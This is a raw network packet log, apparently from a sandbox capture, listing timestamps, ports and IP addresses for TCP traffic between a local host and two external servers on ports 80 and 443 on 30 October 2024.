Oct 30, 2024 11:45:13.576683998 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576692104 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576705933 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576725006 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576987982 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577013969 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577030897 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577039003 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577048063 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577059031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577068090 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577078104 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577095985 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577111959 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577464104 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577488899 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577512980 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577516079 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577532053 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577534914 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577548981 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577554941 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577564955 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577569962 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.577591896 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.577606916 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.607351065 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.617703915 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.617748976 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.617789984 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.617809057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.617809057 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.617855072 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.617871046 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.617909908 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.617922068 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.617947102 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.617959023 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.617985010 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.617995977 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618032932 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618040085 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618093967 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618097067 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618134975 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618150949 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618175030 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618181944 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618226051 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618468046 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618521929 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618522882 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618560076 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618568897 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618596077 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618607998 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618633032 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.618645906 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.618680000 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.658077002 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.658145905 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.658157110 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.658195972 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.658226967 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.658265114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.658278942 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.658305883 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.658315897 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.658338070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.658355951 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.658382893 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695116997 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695159912 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695194960 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695270061 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695297003 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695302010 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695348978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695354939 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695390940 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695401907 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695436954 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695447922 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695487022 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695502043 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695523024 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695535898 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695560932 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695573092 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695600033 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695610046 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695650101 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695910931 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695945978 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695966959 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.695981026 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.695986032 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696028948 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696053028 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696109056 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696183920 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696219921 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696239948 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696259022 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696261883 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696297884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696320057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696346045 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696672916 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696710110 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696728945 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696747065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696758986 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696784973 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696795940 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696822882 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.696837902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.696870089 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.697104931 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.697143078 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.697161913 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.697185040 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.697189093 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.697230101 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.736555099 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736588001 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736607075 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736624002 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736643076 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736690044 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.736743927 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736754894 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.736763954 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736783981 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.736788988 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.736818075 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.736841917 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.736999035 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737025023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737042904 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737047911 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.737061024 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737070084 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.737081051 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737090111 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.737113953 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.737124920 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.737438917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737457991 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737473965 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737492085 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.737492085 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.737513065 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.737540007 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.777009964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.777062893 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.777081013 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.777102947 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.777108908 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.777151108 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.810267925 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.810295105 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.810308933 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.810353041 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.810374975 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.810388088 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.810416937 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.813971996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814006090 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814042091 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814059973 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814083099 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814097881 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814100981 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814133883 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814142942 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814177990 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814214945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814245939 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814260960 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814281940 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814282894 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814321995 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814327002 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814358950 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814366102 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814394951 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814403057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814438105 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814651966 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814698935 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814707994 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814749956 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814763069 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814793110 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814805984 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814843893 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.814960957 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.814996958 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815016031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815037012 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815053940 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815072060 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815097094 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815107107 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815143108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815155029 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815179110 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815201998 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815498114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815531969 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815551043 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815571070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815577984 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815614939 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815716028 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815751076 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815757036 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815795898 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815809011 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815844059 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815846920 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815881968 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.815886974 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.815920115 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.816183090 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.816217899 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.816234112 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.816255093 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.816261053 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.816301107 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855448961 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855520964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855556011 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855561972 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855582952 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855601072 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855611086 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855654955 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855665922 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855699062 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855712891 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855748892 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855763912 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855791092 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855794907 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855842113 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855845928 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855878115 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855895042 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855916023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855925083 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855954885 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.855967999 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.855998039 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856010914 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856048107 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856064081 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856090069 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856106997 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856142998 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856167078 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856187105 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856192112 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856226921 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856232882 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856272936 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856434107 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856470108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856489897 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856504917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.856509924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.856547117 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.895900965 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.895922899 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.895941973 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.895991087 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.896056890 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.896097898 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.927989006 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.928016901 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.928133011 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.928147078 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.928184986 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.932832956 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.932867050 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.932882071 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.932893991 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.932909012 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.932924032 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.932934046 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.932962894 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.932990074 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933007002 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933033943 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933060884 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933146000 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933163881 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933181047 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933197975 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933217049 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933290958 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933341980 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933343887 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933361053 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933389902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933408022 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933557987 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933582067 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933599949 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933605909 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933617115 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933634043 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933645010 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933651924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933671951 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933686972 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.933969021 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.933985949 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934003115 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934020042 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934021950 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934042931 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934072018 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934233904 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934248924 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934287071 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934299946 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934330940 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934359074 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934376955 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934386015 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934393883 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934396982 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934415102 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934417963 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934439898 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934462070 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934720993 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934746981 CET	80	49709	185.215.113.206	192.168.2.6
